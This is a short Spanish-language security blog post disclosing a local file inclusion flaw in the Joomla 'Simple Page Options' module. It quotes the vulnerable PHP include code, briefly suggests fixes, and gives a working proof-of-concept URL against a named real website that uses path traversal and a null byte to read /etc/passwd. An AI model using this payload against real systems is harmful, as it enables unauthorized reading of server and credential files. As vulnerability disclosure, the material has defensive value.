Vulnerable Code:
$s_lang =& JRequest::getVar('spo_site_lang');
(file_exists(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php'))
? include(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php')
: include(dirname(__FILE__).DS.'languages'.DS.'english.php');
hace include de lo que llames con ciertos parámetros... la ultima version que es la 1.5.16 y todas las 1.5.x tambien lo son.
se puede resolver facilmente agregandole un str_replace o con permisos de lectura desde el htaccess (este lo recomiendo)
un ejemplo real:
http://www.europeancartransport.com/home/modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email
- =sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=../../../../../../../../../../etc/passwd%00&spo_site_name=Alfredo%20Arauz&spo_url_type=1&spo_url2se
el nullbyte es junto pero blogger no me deja ponerlo el error es en la variable:
spo_site_lang=
__________
Alfredo Arauz (Security Expert - IT Ecuador) encontró la vulnerabilidad en una página web yo encontré el code vulnerable y generé el POC.
Fuente: http://seguridadblanca.blogspot.com/2011/07/simple-page-option-lfi.html
Saludos
Dr.White